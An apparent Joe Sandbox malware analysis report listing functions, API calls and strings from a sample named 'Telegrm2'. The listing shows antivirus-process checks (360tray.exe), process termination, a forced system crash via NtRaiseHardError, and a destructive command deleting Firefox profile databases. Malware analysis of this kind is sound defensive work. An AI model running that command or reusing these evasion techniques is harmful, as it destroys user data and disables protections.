Part of subcall function 03622BA0: LoadLibraryA.KERNEL32 ref: 03622BD6
Part of subcall function 03622BA0: GetProcAddress.KERNEL32 ref: 03622BEE
Part of subcall function 03622BA0: GetProcAddress.KERNEL32 ref: 03622C01
Part of subcall function 03622BA0: GetProcAddress.KERNEL32 ref: 03622C16
Part of subcall function 03622BA0: GetProcAddress.KERNEL32 ref: 03622C29
Part of subcall function 03622BA0: LoadLibraryA.KERNEL32 ref: 03622C39
Part of subcall function 03622BA0: GetProcAddress.KERNEL32 ref: 03622C51
Part of subcall function 03622BA0: FreeLibrary.KERNEL32 ref: 03622CA9
Part of subcall function 03622BA0: FreeLibrary.KERNEL32 ref: 03622CB7

Strings

CloseDesktop, xrefs: 03622D3D
OpenDesktopA, xrefs: 03622D2D
OpenInputDesktop, xrefs: 03622D1A
user32.dll, xrefs: 03622D05

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: addcf2cf488d964e1b2bb69c91bdb33190b32f5e7048b99c1d61279236a3a114
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 7A115E30B15F5192EA46EB52E9643196369BB89FC0F448425ED4E47B18EF3EC6468700

Function 0363C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0363C6F7

Part of subcall function 03639FFC: GetLastError.KERNEL32 ref: 0363A060
Part of subcall function 03639FFC: free.LIBCMT ref: 0363A0DE

free.LIBCMT ref: 0363C8BF
free.LIBCMT ref: 0363C8CF
free.LIBCMT ref: 0363C8DF
free.LIBCMT ref: 0363C8EB
free.LIBCMT ref: 0363C940
free.LIBCMT ref: 0363C948
free.LIBCMT ref: 0363C950
free.LIBCMT ref: 0363C958
free.LIBCMT ref: 0363C962

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: e70ab65ff98af1be042e21017ad9e8ae36a91fe6b5a75e7a0769c9fdeedc47b4
Instruction ID: d63157ee1036de31946492d3903687d8e650155126be8dc6169f47ef793209de
Opcode Fuzzy Hash: e70ab65ff98af1be042e21017ad9e8ae36a91fe6b5a75e7a0769c9fdeedc47b4
Instruction Fuzzy Hash: 10B1FF763047D096CB15CF2AE5543AEB7A4F74AB84F99412AEB8D8B794EF39C101CB00

Function 0363F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0363F4AE), ref: 0363F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0363F4AE), ref: 0363F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0363F4AE), ref: 0363F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0363F4AE), ref: 0363F343

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 44004786e5e3d94f8969b18c667b3e46802c7175e9a27cafd411378b69afc435
Instruction ID: 2e32fa9c705001b86307121da0ab63d382a10af6e3be450e373819186c50b543
Opcode Fuzzy Hash: 44004786e5e3d94f8969b18c667b3e46802c7175e9a27cafd411378b69afc435
Instruction Fuzzy Hash: EB910272F087809ADB21CF65EA0036ABB96F7437A4F4C8626EE698F784DB35C545C344

Function 0363A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A72A
malloc.LIBCMT ref: 0363A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A836
malloc.LIBCMT ref: 0363A893

Part of subcall function 03635728: _FF_MSGBANNER.LIBCMT ref: 03635758
Part of subcall function 03635728: RtlAllocateHeap.NTDLL ref: 0363577D
Part of subcall function 03635728: _callnewh.LIBCMT ref: 03635796
Part of subcall function 03635728: _errno.LIBCMT ref: 036357A1
Part of subcall function 03635728: _errno.LIBCMT ref: 036357AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0363A9CD), ref: 0363A908
free.LIBCMT ref: 0363A91C
free.LIBCMT ref: 0363A92D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 91d99d5821ea59e20816a9f645218f6b452e7da6b05d97046bf16282acaef9b0
Instruction ID: c69b01407f13d93be81e4b09f9cf75659b7b76f8382b9431a599be0f388bdfb4
Opcode Fuzzy Hash: 91d99d5821ea59e20816a9f645218f6b452e7da6b05d97046bf16282acaef9b0
Instruction Fuzzy Hash: E5714536710B8086DB20CFAAE94035AB7A5FB4ABE8F584229DF9D57BD4DB39C101C700

Function 0362E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 036219A0: WSAStartup.WS2_32 ref: 03621A19
Part of subcall function 036219A0: CreateEventA.KERNEL32 ref: 03621A2A

Part of subcall function 03621BF0: ResetEvent.KERNEL32 ref: 03621C2D
Part of subcall function 03621BF0: timeGetTime.WINMM ref: 03621C3F
Part of subcall function 03621BF0: socket.WS2_32 ref: 03621C66

CreateEventA.KERNEL32 ref: 0362E32E
setsockopt.WS2_32 ref: 0362E383
CancelIo.KERNEL32 ref: 0362E38D
closesocket.WS2_32 ref: 0362E3A1
SetEvent.KERNEL32 ref: 0362E3AE
WaitForSingleObject.KERNEL32 ref: 0362E40D
Sleep.KERNEL32 ref: 0362E418
WaitForSingleObject.KERNEL32 ref: 0362E42B
WaitForSingleObject.KERNEL32 ref: 0362E438
Sleep.KERNEL32 ref: 0362E44E

Part of subcall function 03621AC0: Sleep.KERNEL32 ref: 03621ADC
Part of subcall function 03621AC0: CloseHandle.KERNEL32 ref: 03621AEB
Part of subcall function 03621AC0: CloseHandle.KERNEL32 ref: 03621AFA
Part of subcall function 03621AC0: CloseHandle.KERNEL32 ref: 03621B0C
Part of subcall function 03621AC0: WSACleanup.WS2_32 ref: 03621B12
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621B29
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621B4D
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621B6F
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621B9C
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621BB7
Part of subcall function 03621AC0: VirtualFree.KERNEL32 ref: 03621BD2

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: a72085ab56c12da5cbc9ddb1ea7e8afc79522961419edfb62fd95b2940c47a03
Instruction ID: 40fb51bb45b195604db191a0cff165a51142684aa9590b95d0d4294697dd45d6
Opcode Fuzzy Hash: a72085ab56c12da5cbc9ddb1ea7e8afc79522961419edfb62fd95b2940c47a03
Instruction Fuzzy Hash: 4551AE36614F809AE721DF35E85039D7B74F785BA4F50422AEAAD47BA8CF3AC505CB40

Function 0362F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0362F1F7
Process32First.KERNEL32 ref: 0362F225
lstrcmp.KERNEL32 ref: 0362F238
OpenProcess.KERNEL32 ref: 0362F24C
TerminateProcess.KERNEL32 ref: 0362F25F
CloseHandle.KERNEL32 ref: 0362F268
Process32Next.KERNEL32 ref: 0362F276
Sleep.KERNEL32 ref: 0362F285
CloseHandle.KERNEL32 ref: 0362F28E
CloseHandle.KERNEL32 ref: 0362F2C5

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 0bf5809cd5fe57422c4f9b0be10993890d01841166f9e3e23de805ed35c2bc54
Instruction ID: c9282d1a84eb34285c944721e85b8b38ff9b1ceea4bf61022364fa74623ed390
Opcode Fuzzy Hash: 0bf5809cd5fe57422c4f9b0be10993890d01841166f9e3e23de805ed35c2bc54
Instruction Fuzzy Hash: 9021C534705A4092EB22DB72F85436A77A4FB8EFD4F498224C95E47798EF3EC1058B00

Function 0363902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0363904D

Part of subcall function 0363537C: Sleep.KERNEL32(?,?,00000000,03633110), ref: 036353C1

GetFileType.KERNEL32 ref: 036391B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 036391F6

Strings

@, xrefs: 036392B1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction ID: de25b0d8d82687d7e8f2e9cf299a234ce4d9a4be004394708f111a6395786027
Opcode Fuzzy Hash: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction Fuzzy Hash: 6781D272715F8086DB59CF25D99431977A8F746B74F488328CA7A433E1EBB8C166CB08

Function 03622AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 03622AD6

Part of subcall function 03633290: malloc.LIBCMT ref: 036332AA

Process32First.KERNEL32 ref: 03622B0D
lstrcmpi.KERNEL32 ref: 03622B27
Process32Next.KERNEL32 ref: 03622B37
lstrcmpi.KERNEL32 ref: 03622B4C
Process32Next.KERNEL32 ref: 03622B5C
CloseHandle.KERNEL32 ref: 03622B73

Strings

360tray.exe, xrefs: 03622B17, 03622B41

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction ID: 7b05bea8de5da84fec3cedab53e1b50e4be4cdae22e7afd0522e3d67be47940f
Opcode Fuzzy Hash: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction Fuzzy Hash: 2E21A221714B5192EB55DF22F8A032A6374F789FC4F4D9425EE0A87758DF3AC646CB00

Function 03622F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 03622F37
GetWindowThreadProcessId.USER32 ref: 03622F63
GetCurrentProcessId.KERNEL32 ref: 03622F6B
GetCurrentThreadId.KERNEL32 ref: 03622F77
GetWindowTextA.USER32 ref: 03622F8D
InternalGetWindowText.USER32 ref: 03622FD6
WideCharToMultiByte.KERNEL32 ref: 03622FFA
WideCharToMultiByte.KERNEL32 ref: 03623021
GetWindowTextA.USER32 ref: 0362306C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: 813f1dc8b3fc1cabf2c3a1e7e3d224657c5b73c8205698526a7325216a686b8c
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: 0C31F47A708B8086E721EF26B80071AA795F785FE0F584138EE9A4BB54DF3DC185CB14

Function 0362E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0362E72A
GetProcAddress.KERNEL32 ref: 0362E73A
GetModuleHandleA.KERNEL32 ref: 0362E74A
GetProcAddress.KERNEL32 ref: 0362E75A

Strings

NtRaiseHardError, xrefs: 0362E750
ntdll.dll, xrefs: 0362E723, 0362E740
RtlAdjustPrivilege, xrefs: 0362E730

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: 1008c724e69c07c6c1d0e076ce6f4f4d680dead0b8c9880cf253ddb39276cb94
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: DF013131A21A46A2EB12DBA5F454B897365FB887D8F445011DA4D07B34EF7EC64DCB00

Function 03631D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,0362E182), ref: 03631D50
VirtualAlloc.KERNEL32(?,?,?,0362E182), ref: 03631D6D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction ID: 977cb13d94e09c2dbac5164f242ef7a5962b670fec50af8081be4bf4bfac1823
Opcode Fuzzy Hash: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction Fuzzy Hash: 67518B36312B4086DB55EB62EA9076973A5FB8BFC0F088029DE4E47B14EF3AD651C740

Function 03639AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 03639AD7

Part of subcall function 0363A4A4: _set_error_mode.LIBCMT ref: 0363A4AD
Part of subcall function 0363A4A4: _set_error_mode.LIBCMT ref: 0363A4BC

Part of subcall function 0363A244: _set_error_mode.LIBCMT ref: 0363A289
Part of subcall function 0363A244: _set_error_mode.LIBCMT ref: 0363A29A
Part of subcall function 0363A244: GetModuleFileNameW.KERNEL32 ref: 0363A2FC

Part of subcall function 03634F94: ExitProcess.KERNEL32 ref: 03634FA3

Part of subcall function 036352FC: malloc.LIBCMT ref: 03635327
Part of subcall function 036352FC: Sleep.KERNEL32(?,?,00000000,03639B11,?,?,00000000,03639BBB,?,?,?,?,?,?,00000000,0363492C), ref: 0363533A

_errno.LIBCMT ref: 03639B19
_lock.LIBCMT ref: 03639B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000000,03639BBB,?,?,?,?,?,?,00000000,0363492C,?,?,000002C8,03633209), ref: 03639B43
free.LIBCMT ref: 03639B50
_errno.LIBCMT ref: 03639B55
RtlLeaveCriticalSection.NTDLL ref: 03639B78

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 92be503bc84cd9d8b5e364e8921951fc5737665f1b1d2a78513ddc44988611a7
Instruction ID: 5445327921f3cead3d58d205a3a903069fb775e25dbcd3dc49bad5b7f9b8648c
Opcode Fuzzy Hash: 92be503bc84cd9d8b5e364e8921951fc5737665f1b1d2a78513ddc44988611a7
Instruction Fuzzy Hash: 4621E239609B8482E715EB61E50433B73B8FB82B80F189138DA474B790CFBCC441CB58

Function 03638A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 03638A9D
_errno.LIBCMT ref: 03638AA5
_invalid_parameter_noinfo.LIBCMT ref: 03638AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0363408F), ref: 03638AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0363408F), ref: 03638ACD
_errno.LIBCMT ref: 03638ADA

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 7c97ed900fb215b429599fd700d0b8b74bf7dbf30981874095ce248fe77adddb
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: DBF062B8614305CAFB15EBB49F543A925649F43721F649518EA228B3C0C77D488DC729

Function 0334BF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0334C277
free.LIBCMT ref: 0334C287
free.LIBCMT ref: 0334C297
free.LIBCMT ref: 0334C2A3
free.LIBCMT ref: 0334C2F8
free.LIBCMT ref: 0334C300
free.LIBCMT ref: 0334C308
free.LIBCMT ref: 0334C310
free.LIBCMT ref: 0334C31A

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: 963abb41b39656209327c8ab594110e68e6c6e625595e1beb4ea4d1840e6c362
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: 20C1E530A1DB899FCB59DF68D4D43A9B7E0FB59300F04416EE48ACB292EB75E445CB81

Function 0363BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0363C034
free.LIBCMT ref: 0363C059
free.LIBCMT ref: 0363C41E
free.LIBCMT ref: 0363C42A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction ID: 374ccc2cd86a37114019b794b2fd7ac3cbeeedc34002b7ee0bc59012287a7ee3
Opcode Fuzzy Hash: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction Fuzzy Hash: F6C1B336700B5199DB20DB62E484AEE77E4F78A788F40452ADF8E97714EF78C206CB44

Function 03627CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 03633290: malloc.LIBCMT ref: 036332AA

std::exception::exception.LIBCMT ref: 03627DA7
free.LIBCMT ref: 03627E17
free.LIBCMT ref: 03627E29
free.LIBCMT ref: 03627E3B
free.LIBCMT ref: 03627E4D

Strings

bad locale name, xrefs: 03627D94

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: e6a5d411146b3275374cbab6f168d6aae44a7ebbe5987879bf96ea68c8ced689
Instruction ID: a2f978d56b68a7dd4268240b924c7a097b02150c292caf0722be9a33f5b45603
Opcode Fuzzy Hash: e6a5d411146b3275374cbab6f168d6aae44a7ebbe5987879bf96ea68c8ced689
Instruction Fuzzy Hash: BA41893AB01F0099EB11DFB4E5607AE3776AB4574CF04042ACF492BB99DF348169C788

Function 0334395C Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 0334856C: _lock.LIBCMT ref: 03348593
Part of subcall function 0334856C: _errno.LIBCMT ref: 033485A7
Part of subcall function 0334856C: _invalid_parameter_noinfo.LIBCMT ref: 033485B3

_errno.LIBCMT ref: 033439E3
_errno.LIBCMT ref: 033439EA
_errno.LIBCMT ref: 03343A0A
_errno.LIBCMT ref: 03343A13
_errno.LIBCMT ref: 03343A1D
_errno.LIBCMT ref: 03343A27
free.LIBCMT ref: 03343A4D

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockfree
String ID:
API String ID: 545175899-0
Opcode ID: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction ID: 314f68493bba95a83e147e164537605caeec2b5db5a51ede2669c891165d00fd
Opcode Fuzzy Hash: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction Fuzzy Hash: 0A31C338904B0D8F8F58EFB588C51AE77E5FF98220B04466ED44AEB660DF34E4508B91

Function 0362D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 03633290: malloc.LIBCMT ref: 036332AA

std::exception::exception.LIBCMT ref: 0362D10B
free.LIBCMT ref: 0362D18D
free.LIBCMT ref: 0362D19F
free.LIBCMT ref: 0362D1B1
free.LIBCMT ref: 0362D1C3

Strings

bad locale name, xrefs: 0362D0F8

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 6af1c1190c39c9c9f9ac6302a05a2461517f3770cc0a9caf158d4795a54c6a94
Instruction ID: 08bc2644a64981dc3cc9de9ff0b8790ada77acfdb631e697b15d3442b4e78bbe
Opcode Fuzzy Hash: 6af1c1190c39c9c9f9ac6302a05a2461517f3770cc0a9caf158d4795a54c6a94
Instruction Fuzzy Hash: E541463A601F40A8EB11DF60E9543AD37B8EB4579CF448529DE5D5BB98DF34C129C308

Function 03635128 Relevance: 10.6, APIs: 7, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 03635151

Part of subcall function 03639B98: _amsg_exit.LIBCMT ref: 03639BC2

RtlDecodePointer.NTDLL ref: 03635184
RtlDecodePointer.NTDLL ref: 036351A2
RtlDecodePointer.NTDLL ref: 036351E2
RtlDecodePointer.NTDLL ref: 036351FC
RtlDecodePointer.NTDLL ref: 0363520C
ExitProcess.KERNEL32 ref: 03635298

Memory Dump Source

